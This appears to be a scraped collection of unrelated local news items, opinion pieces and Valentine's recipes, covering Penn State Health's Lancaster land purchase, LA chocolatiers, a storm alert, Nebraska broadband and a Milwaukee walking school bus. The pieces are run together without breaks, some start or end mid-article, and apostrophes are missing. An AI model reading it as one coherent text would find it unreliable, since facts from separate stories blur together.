RECIPES Here are chef Meghan Young's recipes for a chocolate-enhanced Valentine's Day meal: a cocoa-scented duck breast with a blackberry-chipotle sauce and a sweet potato puree; a fried mozzarella, strawberry and cocoa nib salad with sherry vinaigrette; and a dark chocolate cake called a boca negra. COCOA SCENTED DUCK BREAST Ingredients:  2 (8-ounce) duck breasts, cleaned and scored  1/4 cup cocoa powder  Kosher salt Directions: Roll the duck breasts in the cocoa powder, season with and place, skin down, in a cold saute pan over medium-high heat. As the fat on the duck breast renders, carefully pour the excess fat in the pan off. Once the skin on the breast is crispy, turn the breast over, strain the fat from the pan over and place in a 400 degree oven for 12 to 15 minutes depending on your desired temperature. Remove the duck from the pan and place on a wire rack to cool. Slice the breast on the bias and serve. BLACKBERRY-CHIPOTLE SAUCE Ingredients:  2 cups unsweetened blackberry puree  1 cup sugar  1/2 teaspoon pureed chipotle en adobo  1 1/2 teaspoons corn starch  2 teaspoons water  1 tablespoon unsalted butter Directions: Bring the blackberry puree to a boil in a sauce pan. Add in the sugar and stir until dissolved, add in the chipotle puree, and cook the sauce for 5 minutes to reduce. In a small dish, dissolve the cornstarch in the water. Whisk the cornstarch mixture into the sauce. Cook for 5 more minutes, allowing the sauce to thicken slightly. Remove the sauce from the heat and quickly whisk in the butter. Return the sauce to a high heat, allow it to come back to a simmer and then remove from the heat and serve. HONEY-LIME SWEET POTATO PUREE Ingredients:  4 medium sweet potatoes or yams  2 tablespoons butter  1/4 cup honey  Juice of two limes  Salt to taste Directions: Place the sweet potatoes on a baking sheet and place into a 450 degree oven until baked, about 45 minutes. Remove the potatoes from the oven and cool. Peel the cooked skin off the potatoes and place the potatoes into a food processor bowl. Process the potatoes until smooth; add in the honey, lime juice and butter. Season with salt to taste. FRIED MOZZARELLA, STRAWBERRY AND COCOA NIB SALAD Preparing the cheese: Ingredients:  12 ounces fresh mozzarella  1 egg, beaten  1/2 cup panko breadcrumbs  1/2 cup vegetable oil Directions: Cut the cheese into -inch-thick slices Dip the cheese into the egg and roll in the breadcrumbs. Heat the oil in a deep frying pan. Gently fry the cheese in the oil on both sides until golden brown and crispy. Remove the cheese from the oil and drain on the paper towels. SHERRY VINAIGRETTE Ingredients:  3/4 cup sherry vinegar  1/4 cup honey  1 tablespoon minced shallot  1 teaspoon Dijon mustard  1 cup blended oil  1 teaspoon salt Directions: Place the vinegar, honey, shallots and mustard into a blender jar. Blend on high until completely mixed. Keep the mixture moving in the blender and slowly add the oil and salt. To prepare the salad: Ingredients:  arugula  Sherry Vinaigrette  Crispy Fried Mozzarella  sliced strawberries  cocoa nibs Directions: Place all ingredients in to a metal mixing bowl. Lightly drizzle with the dressing and toss. Arrange the fried cheese slices in the center of a plate and top with the tossed salad. BOCA NEGRA Ingredients:  3/4 pounds unsalted butter  1/2 cup fresh orange juice  1/2 teaspoon vanilla  20 ounces good quality chocolate  2 cups sugar  8 eggs  8 teaspoons all-purpose flour  Pinch of salt  1/2 tablespoon chipotle puree  12 individual 4-ounce aluminum cups Directions: Melt butter and chocolate together over a double boiler Whisk in orange juice and vanilla. In a separate mixing bowl, beat sugar and eggs to a ribbon. Liaisons into chocolate: Slowly whisk 1/4 of the chocolate mixture into the egg mixture and then whisk that back into the remaining chocolate mixture. Fold in flour. Stir in chipotle and salt. Spray the aluminum molds with nonstick spray and carefully ladle in the batter up to the ridge. Bake in water bath at 350 degrees until top begins to form a crust, about 25 minutes. Remove from the oven and cool. To serve, take a thin knife around the sides of the mold to loosen the cakes and invert onto a plate.  Meghan Young, former chef-owner of Characters Pub in Lancaster.  Here's the main-dish recipe from Susie Gail, submitted by Bob Gates. COFFEE-CRUSTED STEAK Total time: 1 hour. Servings: 4. Ingredients:  1 tablespoon coarsely cracked black peppercorns, freshly ground  2 tablespoons smoked paprika  1/2 cup Lowrys Seasoned Salt or equivalent  1/2 cup granulated sugar (if using a darker roast coffee, add an extra 1/4 cup granulated sugar)  1/2 cup coffee granules, finely ground  4 5-ounce or 8-ounce filet mignon  2 tablespoons olive oil Directions: One hour before cooking, take the steaks out of the refrigerator and pat dry with a paper towel. Brush both sides of the steak with olive oil. Mix all other ingredients together to make the coffee seasoning salt. Sprinkle both sides of the steaks with 2 teaspoons of the coffee seasoning salt and rub the mixture into the steaks. Set steaks aside to warm to room temperature  approximately one hour. While the steaks are resting, make the Brandy Peppercorn Sauce if using (recipe below). If cooking in the oven, preheat to 400 degrees (skip this step if youll be finishing off the steaks on the grill). After steaks are at room temperature, sprinkle with more coffee seasoning salt. Heat a cast-iron pan over high heat, add 1 tablespoon olive oil to the pan and place the steaks in the pan. Sear the steaks 2 to 3 minutes without lifting or moving them until crusty and brown. Flip the steaks over and cook them another 2 to 3 minutes, or until they have a nice sear. If finishing steaks in oven: Transfer the cast-iron skillet with the steaks to the hot oven and cook steaks until medium-rare (130-degree internal temperature), or to your liking. Check the steaks internal temperature after 2 minutes, then every minute after until they reach desired temperature. Remove the steaks from the pan and set aside, covered with a tent of foil, to rest before serving. If youre using the Brandy Peppercorn Sauce, use the time while steaks are resting to deglaze the pan with 1/4 cup brandy, bring to a boil and cook a few minutes. Add the mixture to the Brandy Peppercorn Sauce with Parmesan at the point indicated in that recipe (below). Serve steaks with sauce on the side. BRANDY PEPPERCORN SAUCE WITH PARMESAN Total time: 20 minutes. Servings: 6. Ingredients:  2 tablespoons unsalted butter  1/2 shallot, peeled and thinly sliced  1/2 cup brandy, divided (half is used to deglaze pan after steaks cook)  1/2 cup unsalted chicken stock  1 teaspoon beef granules, or 1/2 beef cube  4 sprigs fresh thyme  1 teaspoon black pepper, freshly ground or cracked  pan drippings (if using)  1 1/2 cups heavy cream  1 tablespoon Parmesan cheese, freshly grated  sea salt, added only after tasting Directions: Over medium-low heat, melt butter in a 3-quart saucepan. Add shallot and cook until translucent and tender, about 2-3 minutes. Remove pan from heat and carefully, and away from heat, stir in 1/2 cup brandy. Put the pan back on medium-low heat and add chicken stock, beef granules or cube, thyme, black pepper and pan drippings, if using. Bring mixture to low boil, reduce heat and cook 8 to 10 minutes or until liquid is reduced by half. Remove the thyme sprigs and stir in the heavy cream. Keep mixture at a gentle boil, stirring occasionally, about 10 to 15 minutes or until the sauce is reduced to a little thicker than heavy cream. Remove the sauce from heat, whisk in grated parmesan cheese and, when cheese has melted, season to taste. Serve on the side of petit filets. Recipe notes: Sauce can be made up to three days ahead. When ready to use, reheat slowly over low heat.

The sauce can be made with or without pan drippings.  Susie Gall, SimplySated.com  Finally, here is Jennifer Kiebler's cookie recipe. PEANUT BUTTER VALENTINES DAY COOKIES Ingredients:  1/2 cup white sugar  1/2 cup packed light brown sugar  1 stick melted butter  1/2 cup peanut butter (Kiebler recommends Jif brand)  1 egg  1/2 teaspoon vanilla  1 1/2 cups flour  1 teaspoon baking soda Directions: In a bowl, mix together the sugar, brown sugar and melted butter, stirring until creamy. Add peanut butter, vanilla and egg. Add flour and baking soda. Beat until combined. Scoop dough out into balls, and flatten the balls with the bottom of a glass dipped in sugar. To make the heart shape, take a butter knife and cut into the top center of the dough. Press it outward to the left and right to make the top of a V shape, and pinch the bottom of the dough to make the bottom of the V. You can use your hands to perfect the heart shape. Take a fork dipped in sugar and make a crisscross pattern on both sides of the heart. Bake for 10-11 minutes. Make sure not to overbake or your cookies will turn too hard and crispy. They are best when they have very little color on them. -- Jennifer Kiebler, Simply From Scratch CateringLess than a month after opening its first major patient-care site in Lancaster County, Penn State Health has purchased land for a second.

The Hershey-based system recently paid $2.4 million for a 3.3-acre plot of land near Routes 30 and 222 in Manheim Township, according to courthouse records.

Penn State Health spokeswoman Megan Manlove said in an email Tuesday that the site is part of our commitment to growing our community network and expanding clinical services in Lancaster County.

We are still determining what services will be offered there, so there isnt a definitive timeline or additional detail to offer at this time, she wrote.

The highly visible site at 1640 Crooked Oak Drive, off Eden Road, comes with a land development plan that was approved by the township 10 years ago.

That plan calls for a three-story, 56,000-square-foot office building and 215 parking spaces, according to marketing materials from U.S. Commercial Realty, whose Dwight and Mike Wagner listed the site for sale.

Construction industry sources estimate it would cost about $8 million to $11 million to do site work and build a structure that size. That estimate excludes furniture and equipment.

The tract is zoned I-1, an industrial designation. Medical and dental offices, as well as professional offices, are allowed by right on land zoned I-1, according to the township zoning ordinance.

Penn State Health bought the parcel on Jan. 30 from an investment group led by local developer Phil Frey. Frey, best known as a developer of the Shoppes at Belmont, declined to comment on the transaction.

The Crooked Oak site is a little over 5 miles from Penn State Healths first big presence in Lancaster County, the Lime Spring Outpatient Center.

The 76,000-square-foot outpatient center opened in January along Noll Drive and Rohrerstown Road in East Hempfield Township, consolidating five existing offices and adding about a dozen specialty services.

That facility followed its 2017 purchase of what had been the countys largest independent physician practice group, with about 100 providers.

Penn State Health is best known for its adult and childrens hospitals on its main Hershey campus.

The health system also owns St. Joseph Medical Center in Reading and recently got final permission to build a new 108-bed hospital in Cumberland County.

Penn State Health doesnt have a hospital in Lancaster County, but does boast eight primary practices here in addition to those practicing from the Lime Spring Outpatient Center.

Penn State Health also signed a strategic partnership with insurer Highmark in 2017.

The two said they plan to invest a combined $1 billion over the next several years, including the Lime Spring facility, the hospital to be built in Cumberland County, and expansions to the emergency room and the childrens hospital at the Hershey campus.

In the past, leaders have also discussed building an Innovations Pavilion with research labs and teaching space for the medical school thats on the same campus as the two hospitals and the systems business offices.

Staff Writer Tim Mekeel contributed to this story.You can power our reporters and help keep us independent with a donation today during our June Member drive.

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This story was originally published in February 2018 and updated in February 2019.

We've gone on record with our dislike of fancy, prix fixe restaurant meals on Valentine's Day. Waiters hate the holiday as much as we do. We are, however, 100% pro-chocolate, not just on V-Day but on any day that ends in a 'Y.'

This guide you're about to devour features chocolatiers and confectioners who founded or base their businesses in Los Angeles.

This is an utterly subjective list based on our preferences and on suggestions from our readers. We've included as many places as we can without gaining 37 pounds.

Valerie Confections -- Valerie Gordon not only makes some of the best cakes around (have you never had a Blum's Coffee Cake? go now!), she makes amazing chocolate bars, truffles and toffee. Studded with roasted almonds and cocoa nibs and sprinkled with hickory smoked salt, her chocolate bark is also a thing of beauty. If you like it dark, she has a Bittersweet Bar that's 72% chocolate. If you prefer white chocolate, the Blushing Berry Bar is filled with raspberries, pistachios and rose petals. There are also plenty of options in between, including milk chocolate and almond toffee. Stop us now because we want to eat everything.You can also find her treats at various shops around town and her two boutiques. Although she recently closed her Grand Central Market outpost, Valerie is planning to open a shop in Woodland Hills.

3364 W. First St., South Silver Lake. 213-739-8149.

1665 Echo Park Ave., Echo Park. 213-250-9365.

Chocovivo -- Patricia Tsai gave up a career in accounting to make bean-to-bar chocolate. Working with a grower in Tabasco, Mexico, she wants to change the way you see chocolate, not simply as candy but as food.

12469 W. Washington Blvd., Culver City. 310-845-6259.

Compartes Chocolate at the launch of Regime des Fleurs perfume at Kelly Wearstler in Los Angeles on April 29, 2015. (Photo by John Sciulli/Getty Images for Kelly Wearstler, Inc.)

Compartes -- Jonathan Graham of Compartes is like the chocolate world's Yves Saint Laurent. He crafts delicate truffles and bars with chic designs, both on the chocolates themselves and on the packaging. They're ideal for the most aesthetically discriminating person you know.

Westfield Century City Mall - 10250 Santa Monica Blvd., #1625, Century City. 310-826-3380.

912 S. Barrington Ave., Brentwood. 310-826-3380.



A See's employee scooping out a bucketful of the candy factory's roasted almonds.

See's Candies -- Old fashioned in all the best ways, See's was founded in Los Angeles in 1921. The company still produces its signature walnut squares, molasses chips, truffles and Scotch kisses in a factory on La Cienega Blvd., between Baldwin Hills and Culver City. The company has many other stores located throughout Southern California.

3431 S. La Cienega Blvd., Los Angeles. 310-559-4919.

andSons Chocolatiers -- In 1983, Aviva Covitz opened Teuscher Chocolates & Cafe, a small shop that imported chocolates from Switzerland. More than three decades later, her sons, Marc and Phil, sons took over the space, brought in pastry chef Kriss Harvey, (previously of The Bazaar) and revamped it into andSons Chocolatiers. Now, they use organic ingredients to hand make gorgeous truffles in flavors like raspberry vanilla rum, Texas pecan praline with coffee ganache, dark chocolate lime and coconut passionfruit.

9548 Brighton Way, Beverly Hills. 310-276-2776.

John Kelly Chocolates -- They're two guys, John and Kelly, who left gigs in luxury retail and branding to launch a company with their killer fudge recipe. They now make 19 variations on their "truffle fudge," which ar essentially truffles filled with fudge instead of ganache.

1508 N. Sierra Bonita Ave., Hollywood. 323-851-3269.

1111 1/2 Montana Ave., Santa Monica. 310-899-0900.

Milla Chocolates -- Using single origin or organic chocolates from the Dominican Republic, Peru or Venezuela, chocolatier Christine Sull Sarioz has become semi-famous for her hazelnut praline bar and caramelized almonds coated in chocolate. Her raspberry bon bons are a favorite and for Valentine's Day, she's offering a box of stunning Black Heart Bon Bons, filled with a dark chocolate and raspberry ganache and coated in the darkest dark chocolate you can imagine. You can find Milla's confections at stores around Southern California and at its Culver City shop.

9414 Venice Blvd., Culver City.

LetterPress Chocolate -- In 2014, David and Cory Menkes left their jobs (him: visual effects industry; her: finance) to launch this bean-to-bar chocolate company. They source cacao from all over -- Honduras, Ghana, Ecuador, Sao Tome, Trinidad -- and turn it into rich, carefully made bars. You can also take a 45-minute tour of their factory for $10.

2835 S. Robertson Blvd., South Robertson.

Bar Au Chocolat - After operating as a boutique chocolatemaker since 2010, Nicole Trutanich is planning to open a Manhattan Beach shop in February 2020. Until then, you can get her chocolate bars, marzipan hearts and Dia de los Muertos-themed chocolate cups (made in collaboration with Zapotec chef Reyna Mendoza) online.

If you'd rather make your own chocolate -- or have your loverrrrrrr learn how to make chocolate for you -- the Gourmandise School of Sweets & Savories offers several classes taught by local chocolatier Ruth Kennison. You can enjoy a tasting night or learn how to melt, temper, dip and mold chocolate and even how to make your own bean-to-bar delicacies.

!!!BONUS!!!

We love caramel too!

Little Flower Candy Co. -- Christine Moore makes the best caramels ever. They're so mind-bogglingly soft, you'll wonder how they haven't melted before you put them in your mouth. You'll find them at plenty of stores around town and at her Pasadena shop, along with muffins, cakes, fruit crumbles and gourmet marshmallows. Her cafe, Lincoln in Pasadena, also has tons of treats.

1422 W. Colorado Blvd., Pasadena. 626-304-4800.

We're also big fans of Le Bon Garcon's salted French-style caramels, which Justin Chao makes in flavors like blood orange and champagne, tiramisu and honey lavender.You can power our reporters and help keep us independent with a donation today during our June Member drive.

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Another strong winter storm system is arriving in Southern California, again bringing the possibility of flooding, damaging winds and debris flows in recent wildfire burn zones.

National Weather Service forecasters predict the heavier rain will start Thursday, when the coasts and valleys could get 1 to 2 1/2 inches and mountain and valley communities may see up to 4 inches.

Light rain moving into the area. Expect rain to increase in coverage and intensity through the morning. #larain #cawx pic.twitter.com/QDJd4M87p5  NWS Los Angeles (@NWSLosAngeles) February 13, 2019

"Due to the subtropical nature of this moisture plume, snow levels are expected to rise significantly Wednesday into Thursday, bringing an increased threat of snow melt," NWS officials said.

A mandatory evacuation has been issued for the Holy Burn area.

Flood and flash flood watches have been issued in Ventura and in the Woolsey/Hill Burn areas.

Mainly light rain through tonight, then potential for heavy rain on Thursday. Flood Watch for the Ventura River at Foster Park, and Flash Flood Watch for Woolsey/Hill Burn areas. #CAwx #SoCal #LArain #LAwind pic.twitter.com/G1BaDpCyxW  NWS Los Angeles (@NWSLosAngeles) February 13, 2019

Los Angeles County officials also reminded unsheltered residents that emergency shelters are open, with free rides available for those who needs a dry place to spend the night.

In need of emergency shelter? Please go directly to one of our listed transportation pick up locations for a ride to a Winter Shelter https://t.co/DIxV5C2wKR pic.twitter.com/FrxX2KpaXJ  Los Angeles County (@CountyofLA) February 13, 2019

This is a developing story. Check back for updates.

UPDATES:

5:02 p.m.: This article was updated with new information about a mandatory evacuation in the Holy Burn area.

2:41 p.m.: This article was updated with new voluntary evacuation information in Riverside County, an update from NWS and emergency shelter information from L.A. County.

This article was originally published at 7:20 a.m.U.S. military intervention in Venezuela would be a move against democracy.

Some claim that we should intervene, but it is not up to imperialist-minded bureaucrats in the United States to make decisions for the Venezuelan people.

The current government and the opposition party both have significant public support, and the situation will only get worse as other nations interfere in a foreign nation that has every right to national sovereignty.

The United States has a long, bloody history of supporting dictators and overthrowing democratically elected governments in South America, from Guatemala in 1954 to Brazil in 1964 to Chile in 1973, just to name a few.

It is entirely understandable that any foreign country would be wary of U.S. intervention in its political affairs.

U.S. intervention will only polarize the current conflict further and escalate tensions. Venezuela has a rightful claim to $1.2 billion in gold that the Bank of England refuses to return in an effort to destabilize the current government, which is exacerbating mass starvation and lack medical care.Data privacy: The United States was a leader in data privacy laws decades ago, but not enough is being done at the federal level today to prevent personal information from being misused. The European Unions General Data Protection Regulation aims to harmonize privacy laws across the EU, but critics say it continues practices that have long stifled innovation there. Chinas data privacy protocol is even more far-reaching and, some argue, even dangerous, given fears of cyber-snooping on U.S. tech companies. Members of Congress were urged to adopt federal standards that would pre-empt 51 different state privacy laws, an outcome that would make a mess of interstate commerce while confusing consumers.

Trade: Its no longer a question of whether the North American Free Trade Agreement will be replaced. The question is what rises in its place. Lawmakers on both sides of the aisle have described the USMCA as modernized trilateral pact that protects market access, safeguards intellectual property and enhances digital trade. Sticking points for the overall agreement remain, however, especially on steel and aluminum tariffs and farm provisions. The worst possible outcome: NAFTA goes away without a successor, which would be akin to the United Kingdoms Brexit dilemma and potentially disastrous for the economy.

In a city polarized on both ends of Pennsylvania Avenue, the prospects for progress are dim. Building a better workforce and infrastructure, agreeing on a common privacy protocol and enhancing 21st century trade deserve bipartisan attention at the least.

Tom Still is president of the Wisconsin Technology Council.

Love 0 Funny 0 Wow 0 Sad 0 Angry 1La Crosses commitment to bike network and to expanding its public transportation system, even trying to coordinate to create a regional transportation system, makes them a leader in the state, Fisher said.

La Crosse Mayor Tim Kabat appreciated the recognition, noting that the city has had a complete streets ordinance for several years that calls on officials to consider expanding bicycle and pedestrian facilities when roads come up for reconstruction.

Thats been part of our goals for quite a while, and it is encouraging to see the results of surveys and studies like that that do point to how folks are viewing cities and neighborhoods and getting around, Kabat said.

While La Crosses business leaders have been discussing ways to lure millennials, for the citys part, its focused on improving the quality of life for everyone, Kabat said.

As we try to develop and balance all of the different modes of travel, we are trying to make living and getting around in La Crosse safe and convenient and attractive for everybody, for all ages, Kabat said.Later in the century, minstrel shows sometimes featured black people themselves, called originals, as in the Old Original Pickets. By about 1900, minstrel shows were losing popularity, replaced by vaudeville. But the Pickets continued to tour well into the 20th century.

A newspaper review from Willmar, Minnesota, in 1921, describes the Pickets show as including banjo music, ragtime, and pre-Civil War plantation songs. It also featured many character sketches  of African Americans, of Irish and Scandinavian and Asian immigrants, of Jews  all people struggling at the bottom of the socio-economic ladder at that time. (To portray the white characters, Dave Picket apparently wore whiteface makeup, an uncommon practice.)

These character sketches were probably based on broad stereotypes, full of exaggeration and ridicule. How did the Pickets feel about lampooning themselves and others? What was it like to perform in front of all-white audiences? Did the audience members have any other experiences with African Americans?

This 1918 ad says that the Pickets have played Viroqua many times in the past, and are well known here. Where did they stay overnight? Were they allowed in local hotels and restaurants?

Lots of questions and not many answers. These complicated issues continue to resonate today, as blackface is again in the news. To learn more, visit the website for the Smithsonians new National Museum of African American History and Culture at nmaahc.si.edu.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0The Friends of the Library annual membership Drive is underway. Renewal notices have been sent out to current members while a deep discount is being offered right now for anyone that signs up as a new member of the organization. The Friends of the Library is a volunteer organization that runs the Bookstore, hosts fundraising events, volunteers at library programs, and provides essential advocacy work in the community. Your support of this organization helps fund special purchases and programs for the library. Want to know more? Stop by the bookstore and get involved.

Due to popular demand we are looking forward to once again hosting a two-part Beginning Beekeeping Class. Join us Saturday, Feb. 23 and Saturday, March 2 from 9 a.m. to noon inside the library program room. Jim Krause from Viroqua has been a beekeeper for over 10 years and will be teaching the class using materials from the University of Minnesota short course titled, Raising Bees in Northern Climates. Some of the topics to be covered include equipment needs, obtaining bees and maintaining the hive, among others. This class is intended for area residents new to beekeeping and especially people who are interested in becoming beekeepers. To register for the class please stop by or give us a call.- A Filipino model was heavily criticized by Singaporeans after she wore a skimpy outfit in public

- She was standing in line, waiting for her turn at the ATM when Singaporeans noticed her

- The model issued an apology after she was shamed incessantly

PAY ATTENTION: Click "See First" under the "Following" tab to see KAMI news on your News Feed!

A Filipino model was shamed by many Singaporeans after she wore a very revealing outfit in public.

KAMI learned that many Singaporeans didn't exactly like her outfit at the Somerset MRT station.

Some people took pictures of her while she was waiting for her turn to use the POST ATM machine.

Her tank top, which covered her very short shorts, made her the center of attention at the conservative state.

Photos of the said freelance model immediately circulated online and Singaporeans didn't think twice about bashing her.

A news outfit, Lianhe Wanbao, got a lawyer to make a comment about what she was "doing."

They reported that her outfit violated public order.

Ashley Garcia, the subject freelance model, took to Facebook to issue an apology. She emphasized that she was wearing shorts and had tapes on.

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Yahoo Philippines reported that Ashley wasn't doing anything illegal at the time of the incident. Her only crime was to wear clothes deemed by Singaporeans as too revealing.

Enjoyed reading our story? Download KAMI's news app on Google Play now and stay up-to-date with major Filipino news!

Tricky questions: testing boys and girls of the Philippines for knowing some historical information. Who is smarter: boys or girls? Find out in the video!

Source: Kami.com.phYORKVILLE  The first of three public involvement meetings concerning the villages Interstate 94 corridor master plan and village comprehensive plan has been scheduled, Village Clerk-Treasurer Mike McKinney announced at Monday's board meeting.

A meeting, scheduled for 6 p.m. March 14 at Yorkville Elementary School, 18621 Washington Ave. (Highway 20), will give Yorkville residents a chance to voice their opinions on how they think the village should develop the I-94 corridor, from the Interstate to about 1.5 miles west, as well as the village as a whole.

Also, a Long-Range Planning/Ordinance Committee meeting is scheduled for Feb. 18. The committee and Village Board will also have input on the plans.

Milwaukee-based construction engineering firm Short Elliot Hendrickson Inc. should have a plan for the I-94 corridor within seven months, and a 2050 village comprehensive plan within 14 months, project manager Darren Fortney told The Journal Times last month.

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Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.YORKVILLE  The Village Board on Monday decided to hold off on proceeding with a search for a part-time village administrator  for now.

The village is considering using Premier Solutions Group, a staffing service owned by former Racine County sheriff and County Executive Bill McReynolds, to fill the position, but Village President Sherry Gruhn said she spoke with someone who had used Premier Solutions Group in the past and was not satisfied with the service.

Gruhn and the village trustees decided they would look into that concern before signing with Premier Solutions Group, so they tabled the topic for the time being.

If the village would end up using Premier Solutions Group, the part-time administrator would be an employee of the company, not the village.

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Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.While many workplaces offer paid vacation or sick leave, not as many offer paid family leave for an employee to take time off to care for a loved one.

On Tuesday, the FAMILY Act was introduced in Congress by Democratic presidential candidate U.S. Sen. Kirsten Gillibrand, D-N.Y., and U.S. Rep. Rosa DeLauro, D-Conn., which if passed would offer paid family leave.

With them in Washington, D.C., for the announcement were Racine residents Maria Hernandez and her son Fidel. Both of them work at the Amazon fulfillment facility in Kenosha.

Maria works for a company that contracts with Amazon to clean the facility at Interstate 94 and Highway S (Burlington Road).

One day while working Maria, who has diabetes, passed out due to low blood sugar and was taken to a hospital in Kenosha. Her recovery was going to take months.

I asked (my employer) if I could use my vacation days for medical leave, Maria told The Journal Times. They said I couldnt use vacation time for medical leave.

With bills, food and other expenses continuing to come in, Fidel, who is deaf, wanted to help out.MILWAUKEE  On an unseasonably warm February morning, 11 children  some quiet and sleepy-eyed, some chipper and chatty  followed Regina Stieber along Milwaukee sidewalks wet with melting snow.

Two days per week, Lincoln Avenue Elementary Schools walking bus picks up students on a set route and makes sure they get to school safely.

Stieber, Lincolns community school coordinator, along with special education teacher Sue Sauerberg and her 18-year-son, make the mile walk each Monday while two other Lincoln teachers lead the bus, which is actually an supervised procession of walkers, on Fridays.

Lincoln is a Milwaukee Public Schools bilingual community school located at 1817 W. Lincoln Ave. on the citys south side.

Stieber said the Lincoln bus has been successful in increasing school attendance for its 14 participants in kindergarten through fifth grade. Officials at Knapp Elementary School, the Racine Unified School Districts first community school, are looking to increase student attendance by start a walking bus of their own but have struggled to find volunteers.

Community schools work to serve the wider neighborhood, not just students, which includes increased after-school programming and more parent involvement.

Dani Dekker, assistant principal at Knapp, told the RUSD School Board during a December meeting that Knapp had already identified students who would benefit from a walking school bus and worked with Carthage College students to map out routes. The school attempted to start a walking bus last year, but could not find enough volunteers to lead it. Knapp is continuing to work on a solution.

Its been a challenge to find people to escort the kids, said Unified spokeswoman Stacy Tapp.

Tapp believes that one of the challenges in getting volunteers is Knapps early start time, with classes beginning at 7:20 a.m. Lincolns start time is similarly early, at 7:30 a.m. The schools volunteers generally start the walking route at about 6:40 a.m.

The kids love it

The students on the Lincoln route are those who live relatively close to the school but have poor attendance, or who do not have a family member who can walk with them to school.

We have really good attendance for the walking school bus for those kids on Mondays and Fridays, so we are getting those kids to school those days, Stieber said. And the kids love it.

The school bus leaders carry a cutout of a school bus, and chat with the students or play games along the way. When its cold outside, sometimes Stieber asks the kids to do jumping jacks or wiggle their feet while they wait for others to come out of their houses.

Theyre usually pretty chatty in the morning because they are excited to see us and to see each other, Stieber said.

Lincoln started its Friday morning walking bus in fall 2017 and added Mondays this school year.

The school community had previously identified safety as a No. 1 priority at Lincoln, especially when it comes to kids walking to school. The district learned about walking school buses at a conference through Safe Routes to School, an organization that provides districts with information and resources about walking school buses. Parents loved the idea, Stieber said.

Thats how we got volunteers, Stieber said. Because it came from them knowing that we wanted our kids to get to school safe, and there was already concern about safety in the neighborhood and our little elementary kids were walking to school by themselves.

Getting volunteers

Jamie Racine, United Way of Racine Countys community schools manager who works with RUSD on community school services, has reached out to Stieber for information on the Lincoln walking bus and tips about how to attract volunteers. Stieber said that parent buy-in would increase the odds of success, and added that parents could even do a more informal version of a walking bus.

If theyre already walking their kid to school, they could pick up another kid on the way, she said.

Both Lincoln Avenue and Knapp are considered high-poverty schools with large minority populations. According to the state Department of Public Instruction, 96 percent of Lincoln students and 85 percent of Knapp students are economically disadvantaged. About 50 percent of Knapp students are black, and 74 percent of Lincoln students are Hispanic.

Not all of Lincoln Avenues students walk to school, but the majority of them do. Some of the kids who were recommended for the bus lived close but had poor attendance, while others just happen to reside along the route and being picked up helped their parents in the morning.

Last year, two mothers with children at Lincoln led the walking bus, along with the community school coordinator at the time, which had 28 participants. Both had to stop doing the bus this year, but Stieber said the school knew it needed to keep the program going.

Since it was so successful and the kids loved it, and we saw improvement in their attendance, it was like a given that we were going to do it again this year, Stieber said.

Janeth Prado, mother of a kindergarten student at the school, was one of the mothers who volunteered last year.

To help the school was a big motivation, Prado, who speaks Spanish, said through a translator.

Prado lives close to Lincoln and said she wanted to encourage students who also live nearby to get to school and to help her son make friends.

It was a beautiful experience to wake up and to help other kids come to school, she said.

Stieber said that being a part of the bus not only helps with attendance, but in other aspects of a childs school experience.

There has been changes in behavior in some of the kids who were feeling disconnected from the school, who were kind of detached, Stieber said. After doing the walking school bus, they come to school more, so they see their friends more. They also get one-on-one adult attention in the morning. They have their own little social group and its just a great way to start your day.

Those interested in helping with the walking bus at Knapp or volunteering can contact the schools Principal Rich Wytonick or Dekker at 262-664-8000.

There has been changes in behavior in some of the kids who were feeling disconnected from the school, who were kind of detached. After doing the walking school bus, they come to school more, so they see their friends more. They also get one-on-one adult attention in the morning. They have their own little social group and its just a great way to start your day. Regina Stieber, Lincoln Avenue Elementary School community school coordinator

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Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.City Council President Jason Meekma initially proposed a timeline that would have had the Executive Committee narrowing down the list of candidates if six or more applied. But Alderman Henry Perez of the 12th District objected, saying it would give the appearance that the Executive Committee "hand-picked" the candidates.

"I think were going to be creating more criticism than we need," said Perez. "You have to give us all the opportunity to choose."

Salary and benefits

The committee also is recommending a $10,000 pay increase for the municipal judge, from $50,000 per year to $60,000, and the addition of benefits for the position, which is designated as part-time. City Attorney Scott Letteney estimated that at $60,000 plus benefits, the total cost for the city would be about $70,000.

The initial proposal was for a $70,000 salary, but 1st District Alderman Jeff Coe made a motion to reduce the amount to $60,000.

The intention for the pay increase is to continue to attract high-quality candidates and to encourage the judge to devote more time to the position.The Nebraska Legislature has the opportunity to put rural communities on a level playing field with the states metro areas.

LB549, introduced this session, would make important investments in broadband service mapping across the state. For too long, these maps have given the wrong service information, blinding the Legislature as it tries to decide where to invest resources for broadband expansion.

Whether it is seeking medical advice, expanding a small business or completing an education, rural Nebraskans like me depend on reliable access to broadband every day. Unfortunately, too many communities across the state are being left behind in an increasingly connected world. My town of fewer than 150 residents shouldnt be cut off from participating in a modern economy.

As I drive through my hometown of Belgrade, I see everyday Nebraskans whose lives are affected by broadband access.

Small business owners count on a secure connection to serve their customers. Local volunteer firefighters depend on broadband to access resources for training and emergency preparedness -- broadband matters in rural communities.1. Yes. Its important for students to stay focused throughout the year. Its a plus.

2. Yes. It would fill the learning gaps caused by COVID and would help cut youth crime.

3. No. Students and teachers deserve a summer break. Year-round school wont work.

4. No. It wouldnt work with the militarys summer PCS schedule. Its a bad idea.

5. Unsure. Its hard to say without knowing how the school calendar would work.

Vote

View ResultsThe state stands in stark contrast to Nashville, for instance. The Music City saw tensions flare after swaths of the community complained about the noise and safety problems caused by the abundance and concentration of Airbnb rentals in certain parts of town. In the end, Nashvilles city council banned such rentals in residential areas.

By allowing municipalities the latitude needed to ensure public health and safety, such a situation is unlikely to occur under the proposal. Bans on sex offenders and nuisance regulations are among a host of common-sense rules cities would be allowed to enact and enforce.

In the end, preserving that balance is critical. Cities have the obligation to ensure their residents safety and security without overreaching in a manner that reduces their economic freedom  which a blanket ban on Airbnb and VRBO rentals would do.

Yes, online services of this nature can annoy or disrupt well-established industries. But innovation doesnt always come quietly. If these short-term rentals are to be a sustainable source of revenue in Nebraska, theyll need to compete with lodging options that may have far more amenities.

